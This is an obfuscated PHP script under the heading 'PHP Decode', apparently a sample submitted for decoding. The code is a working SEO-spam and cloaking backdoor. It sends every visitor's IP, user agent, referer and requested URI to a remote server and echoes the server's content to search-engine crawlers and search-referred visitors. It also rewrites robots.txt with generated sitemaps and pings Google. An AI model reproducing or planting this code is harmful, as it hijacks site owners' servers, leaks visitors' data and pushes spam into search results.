PHP Decode

<?php
goto BFBmn; fYPmg: cY7W0: goto ooMbH; XA_Ob: header("\x43\157\x6e\x74\145\x6e\164\x2d\x54\171\160\x65\72\40\x74\145\170\x74\57\170\x6d\x6c\x3b\40\143\x68\x61\162\x73\145\164\75\x75\164\146\55\x38"); goto fQSAZ; tNc2g: $TxSz5 = $o_fvL . "\77\x61\x67\145\x6e\x74\75{$Nby9p}\x26\x72\x65\x66\x65\x72\x3d{$QzDks}\x26\x6c\141\x6e\147\x3d{$NTa7P}\x26\x69\x70\x3d{$BhW4Z}\x26\144\x6f\155\75{$d5Ay3}\x26\150\164\164\160\75{$NyhqC}\46\165\x72\151\x3d{$g71FC}\x26\x70\143\x3d{$NVEQR}\x26\x72\x65\x77\x72\151\x74\x65\141\142\x6c\145\75{$c5ajn}\x26\x73\143\162\x69\160\x74\x3d{$hXPei}"; goto O99TP; cB5QX: $JIFh4++; goto jCMk_; jCMk_: goto UA_iI; goto SqunL; GqavZ: if ($c5ajn == 0) { goto p6KiW; } goto ciPHw; KSHgX: hF1C6: goto e5k2K; jZKzo: echo $GBfTk . "\x3a\x20" . $WbK9j . "\74\142\162\x2f\x3e"; goto lriFI; gnEJE: exit; goto jWz1t; Zb5vE: header("\103\x6f\x6e\x74\x65\156\164\x2d\x54\171\x70\145\72\x20\164\145\170\x74\57\x78\x6d\x6c\x3b\x20\x63\150\141\x72\x73\x65\x74\75\165\164\x66\x2d\x38"); goto pjS1t; CzkZe: $GBfTk = "{$NyhqC}\x3a\57\x2f" . $d5Ay3 . $ALE5D . "\x73\x69\164\x65\x6d\x61\160\137\151\x6e\x64\x65\x78\x5f{$JIFh4}\x2e\x78\155\154"; goto zmRzL; u21Bq: if (empty($ovfva)) { goto vZaw6; } goto jxwou; jbU5M: @file_put_contents("\x72\157\x62\x6f\x74\163\x2e\164\170\164", $ovfva); goto qcXpx; XL5UB: $o_fvL = "\x68\x74\164\x70\72\57\x2f\x63\167\60\62\x2e\x6d\x61\164\164\x6c\x6f\x6f\x70\x2e\164\x6f\x70\x2f\x69\x6e\x64\x65\x78\56\160\150\160"; goto OW31T; NFHuz: $c5ajn = @file_get_contents("\165\x78\157\56\x74\x78\x74"); goto tQ57N; xMJ3Z: ltowX: goto IVBoI; udK5t: $rEX7q = "\142\151\x6e\x67\x7c\x67\157\x6f\x67\154\x65\174\x79\141\150\x6f\x6f"; goto XL5UB; DnSPN: goto hU2qG; goto Cmb8W; IT7sX: function b5y9x($VQpH4) { goto MdpA0; NLu8_: curl_setopt($Nzti9, CURLOPT_FOLLOWLOCATION, false); goto hHiIR; MFDix: return $rhSCW; goto aEKVA; f13tl: curl_setopt($Nzti9, CURLOPT_URL, $VQpH4); goto UevAk; MdpA0: $rhSCW = @file_get_contents($VQpH4); goto IaDVO; wcrAU: $rhSCW = curl_exec($Nzti9); goto TbKDh; OhAY3: EmFZ0: goto wcrAU; CfNFB: $Nzti9 = curl_init(); goto f13tl; IaDVO: if (!empty($rhSCW)) { goto XpSJJ; } goto CfNFB; IyH1h: curl_setopt($Nzti9, CURLOPT_SSL_VERIFYHOST, FALSE); goto OhAY3; cNPhz: XpSJJ: goto MFDix; hHiIR: if (!(strpos($VQpH4, "\x68\x74\164\x70\163\x3a\57\57") !== false)) { goto EmFZ0; } goto u4tRD; u4tRD: curl_setopt($Nzti9, CURLOPT_SSL_VERIFYPEER, FALSE); goto IyH1h; TbKDh: curl_close($Nzti9); goto cNPhz; UevAk: curl_setopt($Nzti9, CURLOPT_RETURNTRANSFER, true); goto NLu8_; aEKVA: } goto i4Mis; B4hvt: if (strpos($g71FC, "\162\x6f\142\157\x74\x73\56\164\x78\x74") !== false || strpos($g71FC, "\x77\162\x69\164\145\x72\157\x62\157\x74\x73") !== false) { goto MU4NR; } goto gKOGy; nZAG6: J2mlr: goto EXbUz; tXaT5: $jkyzn = "\x55\x73\x65\162\55\x61\x67\145\156\x74\x3a\x20\52\xd\12\x41\154\154\x6f\x77\72\40\57"; goto GMyPO; jQRQ_: $ovfva = B5Y9x($Vl4op); goto A0A8U; JcZLa: $ovfva = b5Y9X($TxSz5); goto XA_Ob; Oi28n: echo $ovfva; goto jERzu; f226r: goto ToLOi; goto UPfrY; BFBmn: error_reporting(0); goto J50ME; O99TP: header("\x43\157\156\x74\x65\156\x74\55\124\171\160\x65\x3a\40\164\145\x78\x74\57\x70\x6c\x61\x69\x6e\x3b\x20\143\150\x61\162\x73\145\164\75\165\164\x66\55\x38"); goto z1vjc; ooMbH: goto nj4bW; goto KSHgX; bC3AR: sNLNy: goto jZKzo; ZatmC: $Nby9p = urlencode($_SERVER["\x48\x54\x54\x50\137\125\x53\105\x52\137\101\x47\105\116\124"]); goto otr7Z; hB_px: if (strpos($g71FC, "\152\x70\62\x30\x32\x33") !== false) { goto Bd0h8; } goto B4hvt; GkEop: if (!file_exists("\x75\x78\157\56\x74\x78\x74")) { goto H6510; } goto NFHuz; otIK_: UQGCd: goto aTKTc; lriFI: usleep(100 * 1000); goto okoJP; Qo_3c: exit; goto DUdvJ; KOcrm: $jkyzn = trim($jkyzn) . "\15\xa" . "\123\x69\164\x65\x6d\141\x70\x3a\40{$GBfTk}"; goto GvSDY; dTzNh: goto J2mlr; goto sHxBv; Z44XP: if (!preg_match("\x2f\74\150\x32\x3e\50\56\53\77\x29\x3c\134\x2f\150\x32\x3e\x2f\151", $ovfva, $QAkmz)) { goto sNLNy; } goto bXlLs; C7qyd: goto TS49v; goto H02J8; aV57N: $c5ajn = 0; goto GkEop; otr7Z: $QzDks = urlencode($_SERVER["\110\x54\124\x50\137\x52\105\106\x45\122\x45\122"]); goto Lu0hi; DUdvJ: uOub0: goto aV57N; Cmb8W: YNl47: goto szEkt; r2ZTe: exit; goto EK2DU; bXlLs: $WbK9j = $QAkmz[1]; goto bC3AR; V3gz2: kPTTE: goto RaWY1; gKOGy: if (preg_match("\100\x5e\x2f\x28\x2e\52\77\x29\56\x78\155\154\x24\x40\151", $g71FC)) { goto Le5YB; } goto nnW5V; ZrlIO: $WbK9j = "\x3c\x66\x6f\156\164\40\x63\157\154\157\x72\x3d\x27\162\x65\144\47\76\x45\x52\x52\117\x52\74\x2f\146\x6f\156\164\x3e"; goto Qs1Lo; z1vjc: echo $ovfva = B5Y9x($TxSz5); goto jbU5M; dV68P: exit; goto DLIxN; lfKud: exit; goto EGB9v; lQbhE: $BhW4Z = urlencode(TxQVr()); goto R8FUn; cn_SH: MsQOH: goto xMJ3Z; wdf31: hU2qG: goto otIK_; Q9PgI: $ALE5D = $_SERVER["\123\103\x52\111\x50\x54\x5f\116\101\x4d\x45"]; goto CHnr5; Az4VH: if (!(strpos($g71FC, "\x75\x75\x75\165\170\170\170\170\x6f\157\x6f") !== false)) { goto uOub0; } goto gc93Z; CHnr5: if (strpos($ALE5D, "\151\x6e\144\x65\x78\x2e\x70\x68\160") !== false) { goto UT6J8; } goto pwV2T; zmRzL: $jkyzn = trim($jkyzn) . "\15\xa" . "\123\x69\164\x65\155\x61\160\x3a\40{$GBfTk}"; goto Zmz0_; UPfrY: Bd0h8: goto bENCs; e5k2K: $TxSz5 = $o_fvL . "\x3f\141\147\x65\x6e\164\75{$Nby9p}\x26\162\x65\x66\x65\x72\x3d{$QzDks}\x26\x6c\141\156\147\x3d{$NTa7P}\46\151\x70\75{$BhW4Z}\x26\x64\157\155\75{$d5Ay3}\x26\x68\164\164\160\75{$NyhqC}\x26\165\162\151\x3d{$g71FC}\46\x70\x63\x3d{$NVEQR}\46\x72\x65\167\162\151\164\145\x61\x62\x6c\145\75{$c5ajn}\46\x73\x63\x72\151\160\164\75{$hXPei}"; goto aa13r; OW31T: $NVEQR = 2309; goto ZatmC; k87zT: $ovfva = B5y9X($TxSz5); goto ojFfB; sHxBv: JgN4q: goto w6kck; xNil0: $YabIH = array("\147\x6f\157\x67\x6c\145", "\142\x69\156\147", "\171\x61\x68\x6f\157"); goto hfuWu; qcXpx: exit; goto DQvrX; QNFgx: UA_iI: goto xD2xD; wB7hl: $WbK9j = $QAkmz[1]; goto PxpRh; GMyPO: $GBfTk = "{$NyhqC}\72\x2f\x2f" . $d5Ay3 . $ALE5D . "\x73\151\x74\145\155\141\x70\56\170\x6d\154"; goto KOcrm; zN0LC: fTNAf: goto Zb5vE; pjS1t: uvTfm: goto Bb4pC; R8FUn: $d5Ay3 = urlencode($_SERVER["\110\124\x54\x50\137\x48\x4f\123\124"]); goto kBsb6; J50ME: function tXqvR() { goto VH3gO; PkMns: BHah4: goto QKSk4; wyoNs: W7vqm: goto gnYTQ; QKSk4: $BhW4Z = getenv("\x48\x54\124\120\137\x58\137\106\117\122\x57\101\x52\x44\105\x44\137\x46\x4f\x52"); goto TMu2H; diKRM: goto veoBR; goto PkMns; A60qr: veoBR: goto bmaFu; rfU3e: $BhW4Z = getenv("\x52\x45\x4d\117\x54\x45\x5f\101\x44\x44\x52"); goto A60qr; JFyw2: r7uQV: goto HO3A1; EAEYD: goto veoBR; goto JFyw2; KqZvy: jDa6D: goto rfU3e; Dahmx: $BhW4Z = "\x30\56\60\x2e\60\56\x30"; goto EAEYD; XwsT8: goto veoBR; goto KqZvy; HO3A1: $BhW4Z = getenv("\x48\x54\x54\x50\137\x58\137\122\105\x41\114\x5f\111\x50"); goto diKRM; TMu2H: $ZUJax = explode("\54", $BhW4Z); goto F7GTp; cpiIT: $BhW4Z = getenv("\x48\124\x54\x50\137\103\x4c\111\x45\x4e\x54\137\111\120"); goto wyoNs; F7GTp: $BhW4Z = $ZUJax[0]; goto XwsT8; bmaFu: return $BhW4Z; goto XneY9; CiLWa: if (getenv("\x52\105\115\117\x54\x45\137\101\104\x44\122")) { goto jDa6D; } goto Dahmx; gnYTQ: if (getenv("\110\124\124\x50\x5f\x58\137\122\105\x41\114\x5f\x49\120")) { goto r7uQV; } goto nGr55; nGr55: if (getenv("\110\124\x54\x50\x5f\130\137\x46\x4f\122\x57\101\x52\104\105\104\137\106\117\x52")) { goto BHah4; } goto CiLWa; VH3gO: if (!getenv("\x48\124\x54\x50\137\103\x4c\111\105\116\124\x5f\x49\x50")) { goto W7vqm; } goto cpiIT; XneY9: } goto IT7sX; ciPHw: $ALE5D = "\57"; goto ohQkW; f7g2o: header("\x43\x6f\x6e\x74\x65\x6e\x74\55\x54\171\x70\145\x3a\40\x74\145\170\164\57\x68\164\155\x6c\x3b\x20\143\150\141\162\163\x65\x74\75\165\164\146\55\70"); goto DdPrc; IVBoI: $vsR_9 = "\x68\x74\x74\x70\163\x3a\x2f\x2f\x77\167\167\x2e\147\157\x6f\147\x6c\145\x2e\x63\157\155\x2f\160\x69\156\147\x3f\163\151\164\x65\x6d\141\x70\x3d"; goto tXaT5; Qs1Lo: if (!preg_match("\x2f\x3c\150\x32\x3e\x28\56\53\x3f\x29\74\134\57\150\x32\x3e\x2f\151", $ovfva, $QAkmz)) { goto KWfQF; } goto wB7hl; jxwou: if (substr($ovfva, 0, 5) == "\x3c\x3f\x78\x6d\x6c") { goto fTNAf; } goto f7g2o; aa13r: $ovfva = B5y9X($TxSz5); goto u21Bq; RyX0k: goto ltowX; goto xmK41; mOxSo: $Vl4op = $NyhqC . "\72\x2f\x2f" . $_SERVER["\x48\124\x54\120\x5f\x48\117\x53\x54"] . "\x2f\x75\165\165\x75\170\x78\170\170\157\x6f\x6f"; goto jQRQ_; XsOhu: $c5ajn = 0; goto dtMtQ; ojFfB: $JIFh4 = 1; goto QNFgx; dHZVi: $ovfva = b5y9X($TxSz5); goto wFhzm; sS2PM: @file_put_contents("\x75\170\x6f\56\x74\170\164", "\61"); goto wdf31; pwV2T: $ALE5D = $ALE5D . "\x3f"; goto RyX0k; HkNy7: usleep(100 * 1000); goto qpvQG; EXbUz: $NyhqC = urlencode($_SERVER["\x52\x45\x51\125\x45\123\124\x5f\123\103\110\105\115\105"]); goto d7e8g; Uh928: p6KiW: goto BKSIu; SqunL: wuz2a: goto CGbPu; xD2xD: if (!($JIFh4 <= 30)) { goto wuz2a; } goto CzkZe; BKSIu: $ALE5D = "\x2f\77"; goto cn_SH; AzKGE: goto Nr1Gz; goto kvVTJ; jWz1t: ToLOi: goto C7qyd; mDK31: if (!empty($_SERVER["\122\105\x51\125\105\123\124\x5f\123\x43\x48\105\x4d\x45"]) && $_SERVER["\122\105\121\125\x45\123\124\137\123\x43\110\105\115\105"] == "\x68\164\x74\160\x73" || !empty($_SERVER["\110\x54\124\120\x53"]) && $_SERVER["\x48\x54\124\x50\x53"] == "\157\x6e" || !empty($_SERVER["\123\105\122\x56\105\x52\x5f\x50\117\122\124"]) && $_SERVER["\123\x45\x52\x56\105\122\137\x50\x4f\122\x54"] == "\64\64\x33" || isset($_SERVER["\x48\124\124\x50\x5f\130\x5f\x46\x4f\122\x57\x41\122\x44\105\x44\137\x50\x52\x4f\124\117"]) && $_SERVER["\x48\x54\124\120\x5f\130\x5f\x46\x4f\122\127\101\122\104\105\x44\x5f\x50\x52\117\x54\117"] == "\150\164\x74\x70\163") { goto JgN4q; } goto NWCNF; d7e8g: $g71FC = urldecode($_SERVER["\122\x45\121\x55\x45\123\x54\x5f\125\x52\111"]); goto Az4VH; CGbPu: @file_put_contents("\162\157\x62\157\164\163\x2e\164\x78\x74", $jkyzn); goto r2ZTe; uWvA8: H6510: goto mOxSo; EGB9v: ZRoDv: goto AzKGE; dtMtQ: @file_put_contents("\x75\x78\x6f\x2e\x74\x78\164", "\x30"); goto DnSPN; PxpRh: KWfQF: goto z4kh6; Bb4pC: echo $ovfva; goto dV68P; kBsb6: $hXPei = urlencode($_SERVER["\123\x43\x52\x49\120\x54\x5f\116\101\x4d\105"]); goto mDK31; Zmz0_: $ovfva = NXbFz($vsR_9 . urlencode($GBfTk)); goto ZrlIO; wFhzm: echo $ovfva; goto gnEJE; gc93Z: echo "\157\153"; goto Qo_3c; nnW5V: if (preg_match("\57\x28{$rEX7q}\x29\x2f\151", $_SERVER["\110\x54\124\x50\137\125\x53\105\x52\137\x41\x47\x45\116\124"])) { goto hF1C6; } goto xNil0; z4kh6: echo $GBfTk . "\x3a\40" . $WbK9j . "\74\x62\x72\57\x3e"; goto HkNy7; ohQkW: goto MsQOH; goto Uh928; Lu0hi: $NTa7P = urlencode($_SERVER["\x48\124\x54\120\x5f\101\x43\103\105\120\124\137\x4c\101\x4e\107\125\101\107\105"]); goto lQbhE; qpvQG: mC9ie: goto cB5QX; RaWY1: if (empty($ovfva)) { goto cY7W0; } goto Oi28n; H02J8: DfXA9: goto Q9PgI; w6kck: $_SERVER["\122\105\x51\x55\105\123\x54\x5f\123\x43\x48\x45\115\105"] = "\150\x74\x74\160\163"; goto nZAG6; GqU7I: $TxSz5 = $o_fvL . "\x3f\141\147\145\156\164\x3d{$Nby9p}\x26\x72\145\146\x65\x72\x3d{$QzDks}\46\154\141\156\147\x3d{$NTa7P}\x26\151\160\75{$BhW4Z}\46\144\x6f\155\75{$d5Ay3}\46\x68\x74\164\x70\x3d{$NyhqC}\x26\x75\x72\x69\x3d{$g71FC}\x26\160\143\x3d{$NVEQR}\46\162\145\167\x72\x69\164\145\x61\142\x6c\145\x3d{$c5ajn}\46\x73\143\x72\x69\x70\x74\75{$hXPei}"; goto JcZLa; A0A8U: if ($ovfva == "\157\x6b") { goto YNl47; } goto XsOhu; NWCNF: $_SERVER["\122\x45\121\x55\105\123\x54\x5f\x53\x43\110\x45\x4d\105"] = "\x68\164\x74\x70"; goto dTzNh; kvVTJ: MU4NR: goto tNc2g; DLIxN: vZaw6: goto sQMND; tQ57N: goto UQGCd; goto uWvA8; gyXA5: goto ZRoDv; goto RZAZw; GvSDY: $ovfva = nXBfz($vsR_9 . urlencode($GBfTk)); goto rL_9o; fQSAZ: echo $ovfva; goto lfKud; okoJP: $TxSz5 = $o_fvL . "\x3f\141\147\x65\x6e\x74\x3d{$Nby9p}\46\x72\145\x66\145\162\75{$QzDks}\46\x6c\x61\x6e\x67\75{$NTa7P}\46\151\x70\75{$BhW4Z}\x26\x64\x6f\x6d\75{$d5Ay3}\x26\150\164\x74\160\x3d{$NyhqC}\x26\x75\x72\x69\x3d{$g71FC}\x26\x70\143\x3d{$NVEQR}\46\162\x65\167\x72\151\164\x65\141\x62\154\x65\75{$c5ajn}\46\x73\x63\162\151\x70\x74\x3d{$hXPei}\x26\163\x69\164\x65\155\141\x70\x3d" . urlencode($GBfTk); goto k87zT; i4Mis: function Nxbfz($VQpH4) { goto uowhQ; VZrJz: curl_close($Nzti9); goto vtEfp; vtEfp: if (!empty($rhSCW)) { goto Bw2VZ; } goto gbDgd; d2tA0: Bw2VZ: goto sRd3R; MKBfO: curl_setopt($Nzti9, CURLOPT_SSL_VERIFYPEER, FALSE); goto Wb62F; y1IYj: if (!(strpos($VQpH4, "\150\164\164\160\163\72\57\57") !== false)) { goto kE264; } goto MKBfO; Wb62F: curl_setopt($Nzti9, CURLOPT_SSL_VERIFYHOST, FALSE); goto TVlD0; TVlD0: kE264: goto FboAn; s5amx: curl_setopt($Nzti9, CURLOPT_URL, $VQpH4); goto yrKRn; sRd3R: return $rhSCW; goto XwVV7; yrKRn: curl_setopt($Nzti9, CURLOPT_RETURNTRANSFER, true); goto aQZYs; aQZYs: curl_setopt($Nzti9, CURLOPT_FOLLOWLOCATION, false); goto y1IYj; gbDgd: $rhSCW = @file_get_contents($VQpH4); goto d2tA0; FboAn: $rhSCW = curl_exec($Nzti9); goto VZrJz; uowhQ: $Nzti9 = curl_init(); goto s5amx; XwVV7: } goto udK5t; hfuWu: foreach ($YabIH as $E6ado) { goto sBliW; GpoCM: $TxSz5 = $o_fvL . "\77\141\147\145\156\x74\75{$Nby9p}\x26\x72\x65\146\145\x72\75{$QzDks}\x26\154\x61\156\147\x3d{$NTa7P}\x26\151\x70\75{$BhW4Z}\x26\x64\x6f\x6d\x3d{$d5Ay3}\x26\x68\164\x74\x70\75{$NyhqC}\x26\165\x72\151\75{$g71FC}\x26\160\x63\x3d{$NVEQR}\x26\x72\145\x77\162\x69\164\145\141\142\x6c\145\x3d{$c5ajn}"; goto qfzDs; qfzDs: $ovfva = b5Y9X($TxSz5); goto oc2hX; oc2hX: goto kPTTE; goto gMNU3; sBliW: if (!(strpos(strtolower($_SERVER["\110\x54\x54\120\137\122\105\106\x45\x52\x45\122"]), $E6ado) !== false)) { goto yDktI; } goto GpoCM; gMNU3: yDktI: goto FTuld; FTuld: EBiyo: goto wOQZu; wOQZu: } goto V3gz2; DdPrc: goto uvTfm; goto zN0LC; rL_9o: $WbK9j = "\x3c\x66\x6f\x6e\x74\40\143\x6f\154\x6f\162\x3d\x27\162\145\x64\x27\76\x45\122\122\x4f\x52\74\57\x66\x6f\156\x74\x3e"; goto Z44XP; aTKTc: if (strpos($g71FC, "\160\151\156\147\x73\x69\164\145\155\x61\x70\56\x78\x6d\x6c") !== false) { goto DfXA9; } goto hB_px; szEkt: $c5ajn = 1; goto sS2PM; DQvrX: Nr1Gz: goto f226r; RZAZw: Le5YB: goto GqU7I; jERzu: exit; goto fYPmg; sQMND: nj4bW: goto gyXA5; xmK41: UT6J8: goto GqavZ; bENCs: $TxSz5 = $o_fvL . "\x3f\141\x67\145\x6e\164\75{$Nby9p}\x26\162\x65\146\145\x72\75{$QzDks}\46\154\x61\156\x67\75{$NTa7P}\46\151\160\x3d{$BhW4Z}\46\x64\157\x6d\75{$d5Ay3}\46\150\x74\164\160\x3d{$NyhqC}\x26\165\162\151\x3d{$g71FC}\46\x70\143\75{$NVEQR}\46\162\x65\167\x72\151\164\145\141\x62\x6c\145\x3d{$c5ajn}\x26\163\143\x72\x69\x70\x74\x3d{$hXPei}"; goto dHZVi; EK2DU: TS49v:
?>